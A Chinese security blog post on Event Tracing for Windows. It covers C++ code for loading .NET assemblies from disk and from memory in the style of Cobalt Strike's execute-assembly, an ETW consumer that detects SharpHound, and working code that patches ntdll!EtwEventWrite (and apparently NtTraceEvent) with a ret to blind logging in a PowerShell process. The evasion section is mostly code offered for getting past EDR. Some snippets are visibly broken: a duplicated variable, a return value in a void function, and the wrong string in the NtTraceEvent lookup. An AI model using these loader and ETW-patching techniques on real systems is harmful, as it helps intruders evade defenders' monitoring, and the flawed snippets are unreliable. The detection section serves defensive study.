Drunkmars's Blog

ETW的攻与防

字数统计: 3.1k阅读时长: 13 min
2022/05/12

ETW全称为Event Tracing for Windows,即windows事件跟踪,它是Windows提供的原生的事件跟踪日志系统。由于采用内核层面的缓冲和日志记录机制,所以ETW提供了一种非常高效的事件跟踪日志解决方案,本文基于ETW探究其攻与防的实现

ETW

事件监测(Event Instrumentation)总会包含两个基本的实体,事件的提供者(ETW Provider)和消费者(ETW Consumer),ETW框架可以视为它们的中介。ETW Provider会预先注册到ETW框架上,提供者程序在某个时刻触发事件,并将标准化定义的事件提供给ETW框架。Consumer同样需要注册到ETW框架上,在注册的时候可以设置事件的删选条件和接收处理事件的回调。对于接收到的事件,如果它满足某个注册ETW Consumer的筛选条件,ETW会调用相应的回调来处理该事件

ETW针对事件的处理是在某个会话(ETW Session)中进行的,ETW Session提供了一个接收、存储、处理和分发事件的执行上下文。ETW框架可以创建多一个会话来处理由提供者程序发送的事件,但是ETW Session并不会与某个单一的提供者绑定在一起,多个提供者程序可以向同一个ETW Session发送事件。对于接收到的事件,ETW Session可以将它保存在创建的日志文件中,也可以实时地分发给注册的消费者应用。ETW会话的开启和终止是通过 Session的开启和终止是通过ETW控制器(ETW Controller)进行管理的。除了管理ETW Session之外,ETW Controller还可以禁用或者恢复注册到某个ETW Session上的ETW Provider

在这里,我们可以看到所有已注册的ETW提供者及其对应GUID,我们还可以看到Microsoft-Windows-Threat-Intelligence突出显示的提供者及其InstrumentationManifest位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID>注册表项的二进制清单文件因为这是一个Manifest-based ETW提供者

1
logman.exe query providers

image-20220512105644794

我们可以使用以下命令获取更多详细信息并了解提供程序支持的事件类型

1
logman.exe query providers Microsoft-Windows-Threat-Intelligence

image-20220512124646901

image-20220512110110750

也可以XML Manifest使用此工具检索文件,这使我们可以更详细地了解特定EtwTi事件记录的参数

image-20220512110147258

使用x nt!EtwTi*来查看内核里面的所有例程

image-20220512110528763

execute-assembly

cs在3.11版本实现了在非托管程序中加载.net程序集的功能,这个功能不需要向硬盘写入文件,十分隐蔽,而且现有的Powershell脚本能够很容易的转换为C#代码,十分方便,使用到的就是execute-assembly这个命令,这里我们用c#程序sharphound.exe进行演示,这个程序用来导出域内关系并可视化

1
execute-assembly D:\Bloodhound\SharpHound.exe -c all

image-20220513124718747

image-20220513124807622

首先我们来了解一下托管程序和非托管程序,说到这里就需要提一个CLRCLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。CLR.NET Framework的主要执行引擎,作用之一是监视程序的运行:

  • 在CLR监视之下运行的程序属于托管的代码
  • 不在CLR之下,直接在裸机上运行的应用或者组件属于非托管的代码

托管程序与非托管程序的概念如下

托管代码就是Visual Basic .NET和C#编译器编译出来的代码。编译器把代码编译成中间语言(IL),而不是能直接在你的电脑上运行的机器码。中间语言被封装在一个叫程序集 (assembly)的文件中,程序集中包含了描述你所创建的类,方法和属性(例如安全需求)的所有元数据。

非托管代码就是在Visual Studio .NET 2002发布之前所创建的代码。例如Visual Basic 6, Visual C++ 6, 最糟糕的是,连那些依然残存在你的硬盘中、拥有超过15年历史的陈旧C编译器所产生的代码都是非托管代码。托管代码直接编译成目标计算机的机械码,这些代 码只能运行在编译出它们的计算机上,或者是其它相同处理器或者几乎一样处理器的计算机上。

再就是Unmanaged API,它其实是一套能将.net程序集加载到任意程序里面的API,它支持ICorRuntimeHost InterfaceICLRRuntimeHost Interface两种接口,我们看一下msdn里面的描述

image-20220512153622148

其中ICorRuntimeHost Interface支持的版本有v1.0.3705, v1.1.4322, v2.0.50727v4.0.30319ICLRRuntimeHost Interface支持的版本有v2.0.50727,v4.0.30319,在实际的开发里面两种接口都是可以使用的

cs实现在非托管程序中加载主要是调用了ICLRRuntimeHost 的接口,主要用到以下3个接口

ICLRMetaHost

ICLRRuntimeInfo

ICLRRuntimeHost

ICLRMetaHost 提供基于版本号返回特定版本的公共语言运行时 (CLR)、列出所有已安装的 CLR、列出在指定进程中加载的所有运行时、发现用于编译程序集的 CLR 版本、退出进程的方法干净的运行时关闭,并查询旧版 API 绑定

image-20220512154845367

ICLRRuntimeInfo提供一些方法,这些方法可返回有关特定公共语言运行时 (CLR) 的信息,包括版本、目录和加载状态。 此接口还提供了特定于运行时的功能,而无需初始化运行时。 它包括运行时相对 LoadLibrary 方法、运行时模块特定的 GetProcAddress 方法和通过 GetInterface 方法提供的运行时提供的接口

image-20220512154925602

ICLRRuntimeHost提供与 .NET Framework 版本1中提供的 ICorRuntimeHost 接口类似的功能,其中包含以下更改: 用于设置宿主控件接口的 SetHostControl 方法的添加,省略提供的某些方法 ICorRuntimeHost

image-20220512155157965

硬盘加载

首先这里我们写一个Printf函数,使用Console.WriteLine接收

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
namespace etw1
{
class Program
{
static int Main(String[] args)
{
return 1;
}
static int Printf(String strings)
{
Console.WriteLine(strings);
return 1;
}
}
}

在服务端我们首先使用CLRCreateInstance初始化ICLRMetaHost接口

1
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&iMetaHost);

然后调用GetRuntime方法获取ICLRRuntimeInfo接口

1
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&iRuntimeInfo);

再使用ICLRRuntimeInfoCLR 加载到当前进程,返回运行时接口ICLRRuntimeHost指针

1
iRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&iRuntimeHost);

然后再通过ICLRRuntimeHost.EecuteInDefaultAppDomain执行指定程序

1
2
iRuntimeHost->ExecuteInDefaultAppDomain
(L"F:\\C#\\etw1\\bin\\Debug\\etw1.exe", L"etw1.Program", L"Printf", L"etw1", NULL);

实现效果如下

image-20220512182344215

内存加载

内存加载相对于硬盘加载,首先是整个过程都会在内存执行而不会写入文件,隐蔽性较好,而且最终的payload为c#程序,调用powershell十分方便利用

那么我们来进行代码的实现,首先还是初始化CLR环境

1
2
3
4
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
iRuntimeHost->Start();

然后使用ICLRRuntimeHost获取AppDomain接口指针,然后通过AppDomain接口的QueryInterface方法来查询默认应用程序域的实例指针

1
2
iRuntimeHost->GetDefaultDomain(&pAppDomain);
pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);

image-20220512195501155

使用Load_3(…)从内存中读取并加载.NET程序集

1
2
3
4
5
6
7
8
9
10
saBound[0].cElements = ASSEMBLY_LENGTH;
saBound[0].lLbound = 0;
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);

SafeArrayAccessData(pSafeArray, &pData);
memcpy(pData, dotnetRaw, ASSEMBLY_LENGTH);
SafeArrayUnaccessData(pSafeArray);

pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
pAssembly->get_EntryPoint(&pMethodInfo);

创建安全数组并执行入口点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ZeroMemory(&vRet, sizeof(VARIANT));
ZeroMemory(&vObj, sizeof(VARIANT));
vObj.vt = VT_NULL;

vPsa.vt = (VT_ARRAY | VT_BSTR);
args = SafeArrayCreateVector(VT_VARIANT, 0, 1);

if (argc > 1)
{
vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
for (long i = 0; i < argc; i++)
{
SafeArrayPutElement(vPsa.parray, &i, SysAllocString(argv[i]));
}

long idx[1] = { 0 };
SafeArrayPutElement(args, idx, &vPsa);
}

HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);

image-20220512211127018

image-20220512211108513

检测execute-assembly

一般检测execute-assembly都会使用windows事件跟踪,即ETW,例如这里启动一个powershell进程,通过procexp查看可以看到被CLR托管的dll

image-20220512214614676

image-20220513125227900

我们可以从processhacker工具源码里面的asmpage.c源码里面查看这类工具是怎样枚举.net工具集的,这里挑出关键代码编译成etw2.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };

const char name[] = "dotnet trace\0";

#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{
ULONG64 AssemblyID;
ULONG64 AppDomainID;
ULONG64 BindingID;
ULONG AssemblyFlags;
WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, * PAssemblyLoadUnloadRundown_V1;
#pragma pack()

static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {

PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
AssemblyLoadUnloadRundown_V1* assemblyUserData;

switch (eventDescriptor->Id) {
case AssemblyDCStart_V1:
assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
break;
}
}

int main(void)
{
TRACEHANDLE hTrace = 0;
ULONG result, bufferSize;
EVENT_TRACE_LOGFILEA trace;
EVENT_TRACE_PROPERTIES* traceProp;

printf(".net_ETW_finder\n\n");

memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));
trace.ProcessTraceMode = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
trace.LoggerName = (LPSTR)name;
trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;

bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);

traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
traceProp->Wnode.BufferSize = bufferSize;
traceProp->Wnode.ClientContext = 2;
traceProp->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
traceProp->LogFileMode = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
traceProp->LogFileNameOffset = 0;
traceProp->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
printf("[!] Error starting trace: %d\n", result);
return 1;
}

if ((result = EnableTraceEx(
&ClrRuntimeProviderGuid,
NULL,
hTrace,
1,
TRACE_LEVEL_VERBOSE,
0x8, // LoaderKeyword
0,
0,
NULL
)) != ERROR_SUCCESS) {
printf("[!] Error EnableTraceEx\n");
return 2;
}

hTrace = OpenTrace(&trace);
if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
printf("[!] Error OpenTrace\n");
return 3;
}

result = ProcessTrace(&hTrace, 1, NULL, NULL);
if (result != ERROR_SUCCESS) {
printf("[!] Error ProcessTrace\n");
return 4;
}

return 0;
}

首先cs上线

image-20220512212858818

然后启动我们的监控程序

image-20220512215550869

在beacon里面调用SharpHound.exe,这里需要在域内且具有.net环境才能够运行成功,执行以下命令

1
execute-assembly D:\Bloodhound\SharpHound.exe 1.2.3.4

image-20220512215639441

这里就会在exe存放的位置生成以下三个文件

image-20220512220715962

然后我们去看一下我们的监控程序,可以看到已经识别出了SharpHound的调用

image-20220512215704961

这里如果想要规避检测,可以更改程序名的名字,但是这里只要修改检测方法为显示可疑方法的名称即可

1
2
3
4
5
6
7
8
switch (eventDescriptor->Id) {
case MethodLoadVerbose_V1:
methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;
WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;
WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);
WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);
wprintf(L"[%d] - MethodNameSpace: %s\n", eventHeader->ProcessId, methodUserData->MethodNameSpace);
}

这里通过select-string查找SharpHound方法

image-20220512213010406

这里还是启动一下我们的SharpHound程序

image-20220512213027871

image-20220512213036239

可以看到还是被监控到了Sharphound2.Sharphound方法

image-20220512213114820

规避ETW检测

通过查阅资料后发现ETWTRUE 布尔参数传递到nt!EtwpStopTrace函数中,以查找 ETW 特定结构并动态修改或修补ntdll!ETWEventWriteadvapi32!EventWrite立即返回从而停止用户模式记录器

也就是说在3环ETW是通过ntdll.dllEtwEventWriteFull函数实现的

image-20220512222805809

往下跟发现调用了EtwEventWriteFull,然后EtwEventWriteFull调用EtwpEventWriteFull

image-20220512223054442

我们继续往下看EtwEventWriteFull函数,调用了NtTraceEvent

image-20220512223238120

继续跟NtTraceEvent,可以发现NtTraceEvent通过syscall进入内核

image-20220512223402930

这里我们可以打印一下地址

image-20220513122021737

那么我们在EtwEventWriteFull直接使用0xc3ret返回,即可达到绕过的效果,首先我们通过x64dbg和powershell验证一下

首先使用x64dbg创建一个powershell进程,这时x64dbg会在线程初始化前下一个断点

定位到ntdll!EtwEventWrite

image-20220512223941657

image-20220512223957730

一般windows api默认使用stdcall(x86)调用约定,这里x64默认使用fastcall,即寄存器传参,被调用者清理堆栈,所以我们直接使用retC3返回即可

image-20220512224033566

查看CLR日志已经被清空

image-20220512224950161

这里通过代码实现,定位到ntdll!EtwEventWrite函数,然后在入口处ret返回即可,使用VirtualProtectEx修改属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void bypassetw()
{
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(si);

CreateProcessA(NULL, (LPSTR)"powershell -NoExit", NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

unsigned char pEtwEventWrite[] = { 'E','t','w','E','v','e','n','t','W','r','i','t','e', 0 };

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
LPVOID pEtwEventWrite = GetProcAddress(hNtdll, (LPCSTR)pEtwEventWrite);

DWORD oldProtect;
char patch = 0xc3;

VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
WriteProcessMemory(pi.hProcess, (LPVOID)pEtwEventWrite, &patch, sizeof(char), NULL);

VirtualProtectEx(pi.hProcess, (LPVOID)pEtwEventWrite, 1, oldProtect, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FreeLibrary(hNtdll);
return 0;

}

实现效果如下,可以看到起了一个powershell进程,查看CLR日志也被清空

image-20220513104316834

这里可能某些EDR会hookEtwEventWrite这个函数,那么我们直接往syscall进0环的函数去挂钩,代码如下

1
2
unsigned char sNtTraceEvent[] = { 'N','t','T','r','a','c','e','E','v','e','n','t', 0};
LPVOID pNtTraceEvent = GetProcAddress(hNtdll, (LPCSTR)sEtwEventWrite);

可以看到CLR日志也被清空

image-20220513123017709

CATALOG
  1. 1. ETW
  2. 2. execute-assembly
    1. 2.1. 硬盘加载
    2. 2.2. 内存加载
  3. 3. 检测execute-assembly
  4. 4. 规避ETW检测